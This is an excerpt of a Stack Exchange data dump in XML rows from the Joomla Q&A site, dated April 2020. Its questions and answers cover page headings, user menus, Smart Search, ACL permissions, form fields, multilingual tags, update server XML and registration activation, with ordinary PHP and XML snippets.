OwnerUserId="11650" LastActivityDate="2020-04-14T20:41:46.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27941" PostTypeId="2" ParentId="27855" CreationDate="2020-04-14T21:29:22.463" Score="0" Body="&lt;p&gt;In this case, the name of the menu item is called &quot;Page Heading&quot; in the Joomla! backend, first you need to have is this option enabled .&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt; &lt;strong&gt;Menus&lt;/strong&gt; &gt; and change &lt;strong&gt;&quot;Show Page Heading&quot;&lt;/strong&gt; to &lt;strong&gt;&quot;Yes&quot;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You also have this option into your menu items, in the tab called &lt;strong&gt;&quot;Page Display&quot;&lt;/strong&gt;, by default is enabled. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, the code is generated by &lt;strong&gt;com_content&lt;/strong&gt;, and here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt; &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt; &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to add this code, maybe the best optión is create an &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;override&lt;/a&gt; for one of the &lt;strong&gt;com_content options&lt;/strong&gt;, once this is done you can find a folder called html inside your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-04-14T21:29:22.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27942" PostTypeId="2" ParentId="27938" CreationDate="2020-04-14T23:46:09.380" Score="2" Body="&lt;p&gt;Two questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you want your users log in front or backend of your site?&lt;br/&gt;&#xA;The workflow is a little different for each scenario.&lt;/li&gt;&#xA;&lt;li&gt;What user functionality you want?, or want to extend?, once the user has logged in.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;To provide this to your users you need already establish your &lt;a href=&quot;https://docs.joomla.org/Help39:Users_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;user groups&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first case: if you want to provide a &lt;strong&gt;&quot;user menu&quot;&lt;/strong&gt; in the front-end:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new menu in &lt;strong&gt;Menus&lt;/strong&gt; &gt; &lt;strong&gt;Manage&lt;/strong&gt; &gt; &lt;strong&gt;Add new Menu&lt;/strong&gt;&lt;br/&gt;&#xA;Here you need to select if the menu is for front or backend. &lt;/li&gt;&#xA;&lt;li&gt;Create the menu items for the user menu.&lt;br/&gt;&#xA;Here you can see the available options:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/914cI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/914cI.png&quot; alt=&quot;Menu items available for user menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, you need to establish the access level, assign each menu item to your user group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign you user menu to one menu module.&lt;br/&gt;&#xA;Create a new menu module in &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Modules&lt;/strong&gt; &gt; &lt;strong&gt;New&lt;/strong&gt; &gt; &lt;strong&gt;Menu&lt;/strong&gt;, inside select the user menu, select the position in your template and select the access level for your user group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extend the user profile.&lt;br/&gt;&#xA;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Plugins&lt;/strong&gt; &gt; &lt;strong&gt;User - Profile&lt;/strong&gt;, From here you can find more options available, let's say that I need a Zip Code or Country info from my users, well, here you have this options, let's say that I need to know their favorite star wars movie, well, you also can &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;override the text string&lt;/a&gt; to the info you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps as a starting point.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-04-14T23:46:09.380" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="27943" PostTypeId="1" CreationDate="2020-04-15T09:09:42.470" Score="0" ViewCount="21" Body="&lt;p&gt;I manage a website that uses Smartsearch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 4 search areas and the two of them show the the results from the other part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two search areas are &quot;book&quot; and &quot;magazine&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am in the book area, it also shows results from the magazine area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent this?&lt;/p&gt;&#xA;" OwnerUserId="14075" LastEditorUserId="12352" LastEditDate="2020-04-15T13:52:24.290" LastActivityDate="2020-04-15T14:16:46.883" Title="Smartsearch with multiple search modules" Tags="|smartsearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27944" PostTypeId="1" CreationDate="2020-04-15T10:41:38.990" Score="0" ViewCount="34" Body="&lt;p&gt;For some reason I can't deny permissions to some actions. Everything has in green: &lt;code&gt;Allowed (Super User)&lt;/code&gt;. Even when the setting is set to denied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example here: in the &lt;code&gt;public&lt;/code&gt; user group I set site login and admin login to denied but it gets overwritten by something:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/27UWi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/27UWi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do about this? I am using Joomla 3.8.1 and am on PHP 7.1.33&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2022-05-08T12:01:35.133" Title="Why are all permissions allowed for every user group" Tags="|joomla-3.x|permissions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27945" PostTypeId="2" ParentId="27943" CreationDate="2020-04-15T14:16:46.883" Score="1" Body="&lt;p&gt;Can't you define &quot;Search Filters&quot; in the Smart Search component that linked to categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's an option for that then you might be able to create a Smart Search plug-in that checks at which part it is requested, and takes that into account when searching:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://docs.joomla.org/Category:Smart_Search&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Category:Smart_Search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-04-15T14:16:46.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27946" PostTypeId="1" CreationDate="2020-04-15T18:25:05.650" Score="0" ViewCount="47" Body="&lt;p&gt;I have a form (with XML fields) and it posts only the hidden fields type and other regular HTML inputs. It doesn't post the XML form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JUri::base().'getpost'; ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&#xA;  &amp;lt;?php $this-&amp;gt;form-&amp;gt;renderFieldset('fieldset') ?&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;type&quot; value=&quot;Gallery&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;year&quot; value=&quot;2020&quot; /&amp;gt;&#xA;&#xA; &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;Send&amp;lt;/button&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA; &amp;lt;fieldset  name=&quot;fieldset&quot;&amp;gt;&#xA;   &amp;lt;field&#xA;     name=&quot;height&quot;&#xA;     type=&quot;text&quot;&#xA;     label=&quot;Height&quot;&#xA;   /&amp;gt;&#xA;&#xA;   &amp;lt;field&#xA;     name=&quot;name&quot;&#xA;     type=&quot;text&quot;&#xA;     label=&quot;Name&quot;&#xA;   /&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The XML form data isn't being sent to post only regular HTML fields. Any explanation? I'm posting the form to another view; could it be the problem?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-16T11:28:25.613" LastActivityDate="2020-04-16T11:28:25.613" Title="Form only posts regular HTML inputs (not posting XML fields)" Tags="|joomla-3.x|form|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="27947" PostTypeId="1" CreationDate="2020-04-16T08:22:58.260" Score="0" ViewCount="77" Body="&lt;p&gt;I have observed in Joomla (v3.9.16 and in older version too) a strange behavior (maybe it is right, but I don't understand it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we have fully installed and configured a multi-language site, if we try to create a new article, assign it to specific language and type also some tags for it, I have observed these 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the tags created are not assigned to the right language but to all.&lt;/li&gt;&#xA;&lt;li&gt;the tags list display in the form of edit article, show all tags and not only the tags relative to the article language.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have searched a lot on the internet, but I cannot find any solution or explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me to understand why, or simply suggest to me how can I manage these two situations?&lt;/p&gt;&#xA;" OwnerUserId="14217" LastEditorUserId="12352" LastEditDate="2020-04-16T15:57:55.573" LastActivityDate="2023-12-29T00:00:22.743" Title="How to implement language-specific tags in select tags list from editing?" Tags="|articles|overrides|tags|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27948" PostTypeId="1" CreationDate="2020-04-16T09:24:34.270" Score="1" ViewCount="143" Body="&lt;p&gt;I work on a custom Joomla! 3.x module. After registration, users would access my module by clicking a link in an email. I force users to change password at first login, so when they click the link, they are taken to the Edit Your Profile (user-profile) page. Unfortunately after submitting their new password this page does not redirect them to the page that was included in the link in the email. So the process breaks down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is the list of urls:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.gonativeguide.com/de/backoffice/guide-contract?gid=968&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.gonativeguide.com/de/backoffice/guide-contract?gid=968&lt;/a&gt; (user klicks this to see his document in the custom module)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.gonativeguide.com/de/component/users/?view=login&amp;amp;Itemid=214&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.gonativeguide.com/de/component/users/?view=login&amp;amp;Itemid=214&lt;/a&gt; (user logs in on this page with initial password)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.gonativeguide.com/de/help/user-profile/profile?layout=edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.gonativeguide.com/de/help/user-profile/profile?layout=edit&lt;/a&gt; (user gets redirected to this page after login to change this password)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.gonativeguide.com/de/help/user-profile/profile&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.gonativeguide.com/de/help/user-profile/profile&lt;/a&gt; (when new password is submitted, process stops on this page, no redirect to the guide-contract page in the first URL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I fix this and make sure that the user profile page does redirect to the requested page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would it be easier to write a custom module to replace the user profile page for forced password changes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, &#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2020-04-16T19:38:02.813" LastActivityDate="2020-04-17T15:05:29.210" Title="FIX or REPLACE: User profile page does not redirect to the requested page after forced password reset" Tags="|joomla-3.x|redirect|account-password|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="27950" PostTypeId="1" AcceptedAnswerId="27952" CreationDate="2020-04-17T15:51:46.047" Score="1" ViewCount="57" Body="&lt;p&gt;I have the update XML shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last update I published was with Joomla! 3.6, so the target platform was 3.6&#xA;I now changed it to 3.[6789] to support all versions since 3.6. But the update does not show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarification, I have the version 3.0.0 installed and try to update to 3.1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Deploying_an_Update_Server&lt;/a&gt; for creating the xml.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;SchuWeb Sitemap&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;SchuWeb Sitemap - Sitemap Generator for Joomla!&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;com_schuweb_sitemap&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;package&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;SchuWeb Sitemap 3.1.0&quot;&amp;gt;https://extensions.schultschik.com/products/schuweb-sitemap/schuweb-sitemap-3-1-0&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;https://github.com/svanschu/SchuWeb-Sitemap/releases/download/3.1.0/pkg_schuweb_sitemap_3.1.0_20200417.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;Sven Schultschik&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;http://www.schultschik.de&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;section&amp;gt;frs&amp;lt;/section&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[6789]&quot; /&amp;gt;&#xA;        &amp;lt;php_minimum&amp;gt;5.6&amp;lt;/php_minimum&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&#xA;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the complete update xml: &lt;a href=&quot;https://raw.githubusercontent.com/svanschu/SchuWeb-Sitemap/master/update/schuweb_sitemap.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://raw.githubusercontent.com/svanschu/SchuWeb-Sitemap/master/update/schuweb_sitemap.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing, I don't see the mistake ...&lt;/p&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="13188" LastEditDate="2020-04-17T17:30:41.253" LastActivityDate="2020-04-17T22:35:25.323" Title="extension update does not show up in joomla" Tags="|extension-update|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="27951" PostTypeId="2" ParentId="27947" CreationDate="2020-04-17T16:07:38.740" Score="0" Body="&lt;p&gt;In general Joomla seems to lean towards being unrestrictive, not just with tags but with other areas as well. Hence for example you can set a Spanish category against a French article. I think that once you start putting restrictions like that in place, users can come up with use cases for why that restriction is wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting language = all is also a default for new items, such as articles or categories, although you could make an argument for setting the tag language to be the same as the item language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the Global Parameter of Tags / Item Selection / Language Filter to restrict the tags which are displayed on the front end, but I don't think this applies to the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As regards managing the situation, something you could probably do is in the Tags field, in the available tags which are shown, add the language in brackets after the tag. This would make the field a little like the Category field, which puts the language in brackets after the category. Administrators can then easily see what language a tag relates to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to override the tags field by doing something similar to what is suggested in &lt;a href=&quot;https://joomla.stackexchange.com/questions/27912/how-to-conditionally-filter-the-presentation-of-category-when-creating-a-new-cat&quot;&gt;How to conditionally filter the presentation of category when creating a new category/article?&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to put in place some process around setting the language of a tag whenever it's created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More drastic measures could involve writing a plugin which fires on onContentBeforeSave and rejects inconsistent item / tag mappings. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-17T16:07:38.740" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27952" PostTypeId="2" ParentId="27950" CreationDate="2020-04-17T22:04:08.467" Score="1" Body="&lt;p&gt;I found the issue, it seems that a bug in the joomla updater was fixed some time ago. So the important part was the &lt;code&gt;&amp;lt;type&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The working XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;SchuWeb Sitemap&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;SchuWeb Sitemap - Sitemap Generator for Joomla!&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;com_schuweb_sitemap&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;SchuWeb Sitemap 3.1.0&quot;&amp;gt;https://extensions.schultschik.com/products/schuweb-sitemap/schuweb-sitemap-3-1-0&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;https://github.com/svanschu/SchuWeb-Sitemap/releases/download/3.1.0/pkg_schuweb_sitemap_3.1.0_20200417.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;Sven Schultschik&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;http://www.schultschik.de&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[6789]&quot; /&amp;gt;&#xA;        &amp;lt;php_minimum&amp;gt;5.6&amp;lt;/php_minimum&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;SchuWeb Sitemap&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;SchuWeb Sitemap - Sitemap Generator for Joomla!&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;com_schuweb_sitemap&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;3.0.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;SchuWeb Sitemap 3.0.0&quot;&amp;gt;https://extensions.schultschik.com/products/schuweb-sitemap/schuweb-sitemap-3-0-0&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;https://github.com/svanschu/SchuWeb-Sitemap/releases/download/3.0.0/pkg_schuweb_sitemap_3.0.0_20190412.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;Sven Schultschik&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;http://www.schultschik.de&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[6789]&quot; /&amp;gt;&#xA;        &amp;lt;php_minimum&amp;gt;5.6&amp;lt;/php_minimum&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="12352" LastEditDate="2020-04-17T22:35:25.323" LastActivityDate="2020-04-17T22:35:25.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27953" PostTypeId="2" ParentId="27944" CreationDate="2020-04-18T07:32:45.867" Score="1" Body="&lt;p&gt;It's because you've granted Super User access to Public (4th permission down). Change that to &quot;Not Set&quot; and then reload the web page.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-18T07:32:45.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27954" PostTypeId="1" AcceptedAnswerId="28010" CreationDate="2020-04-18T10:03:50.533" Score="0" ViewCount="219" Body="&lt;p&gt;From the page to activate a registered user, I am seeing some unexpected permission messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. example.com/web2020/index.php/s-inscrire?&lt;strong&gt;task=registration.activate&lt;/strong&gt;&amp;amp;token=d1ab2d55df409df9fff55899999999&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Message:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION : &#xA;  Please log in to confirm that you are authorised to activate new accounts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Connection of a &quot;SuperUser&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JERROR_ALERTNOAUTHOR : &#xA;  You are not authorised to view this resource.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Shouldn't a super user be allowed to do everything?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This user does not want to &lt;em&gt;View&lt;/em&gt;, but to &lt;em&gt;Do&lt;/em&gt; something! Shouldn't they receive the following message?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION_PERMISSIONS&#xA;  You are not authorised to activate new accounts, please log in with a privileged account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14220" LastEditorUserId="12352" LastEditDate="2020-04-18T21:54:02.753" LastActivityDate="2020-04-29T13:14:29.147" Title="No user can do task=registration.activate?" Tags="|registration|acl|joomla-user-groups|weblinks|super-user|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27955" PostTypeId="1" AcceptedAnswerId="27956" CreationDate="2020-04-18T11:39:14.710" Score="1" ViewCount="297" Body="&lt;p&gt;We got a custom jform field as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;select_course&quot; &#xA;           type=&quot;courselist&quot;&#xA;           label=&quot;Select Course&quot; &#xA;           multiple=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assume the list got the below options&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;16&quot;&amp;gt;9th Standard&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;17&quot;&amp;gt;10th Standard&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;18&quot;&amp;gt;8th Standard&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;19&quot;&amp;gt;7th Standard&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason, we have to select some of the options as selected.  We want to do that on the view directly.  That means, the model returns the ids that needs to be selected.  For example, the model will return an array containing 17 and 19.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the view, we got the below code to mark those values as default&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $storedCourses = $this-&amp;gt;storedCourses;&#xA; foreach($storedCourses as $course){&#xA;   $this-&amp;gt;form-&amp;gt;setFieldAttribute('select_course', ***How can I set that option as selected**);&#xA; }&#xA; echo $this-&amp;gt;form-&amp;gt;getControlGroup('select_course')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to I set those options as selected?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2020-04-18T11:59:43.330" LastActivityDate="2020-04-18T13:50:41.147" Title="Default options on a multi-select form field using setFieldAttribute" Tags="|joomla-3.x|custom-field|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27956" PostTypeId="2" ParentId="27955" CreationDate="2020-04-18T13:50:41.147" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;Joomla\CMS\Form\Form::setValue()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;setValue('select_course', null, [17, 19]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-18T13:50:41.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27957" PostTypeId="2" ParentId="27954" CreationDate="2020-04-18T15:33:24.250" Score="0" Body="&lt;p&gt;On the site, two menu items lead respectively to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;registration form (item &quot;S'inscrire&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;login form (item &quot;Connexion&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For each menu item, a Viewing Access Level is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these menu items, the &quot;Guest&quot; Viewing Access Level would be preferable to the &quot;Public&quot; level because, once logged in, who needs a login screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the &quot;Guest&quot; level &lt;em&gt;will cause the registration procedure to fail&lt;/em&gt; ; not the &quot;Public&quot; level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the general settings, we ask that the registration of new users be approved by a Site Administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First attempt : the &quot;Guest&quot; level is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An administrator receives an e-mail with the following activation link : &lt;a href=&quot;https://www.clapiedsrando.fr/web2020/index.php/s-inscrire?task=registration.activate&amp;amp;token=d1ab2dxxxxxxxxxxxx&quot; rel=&quot;nofollow 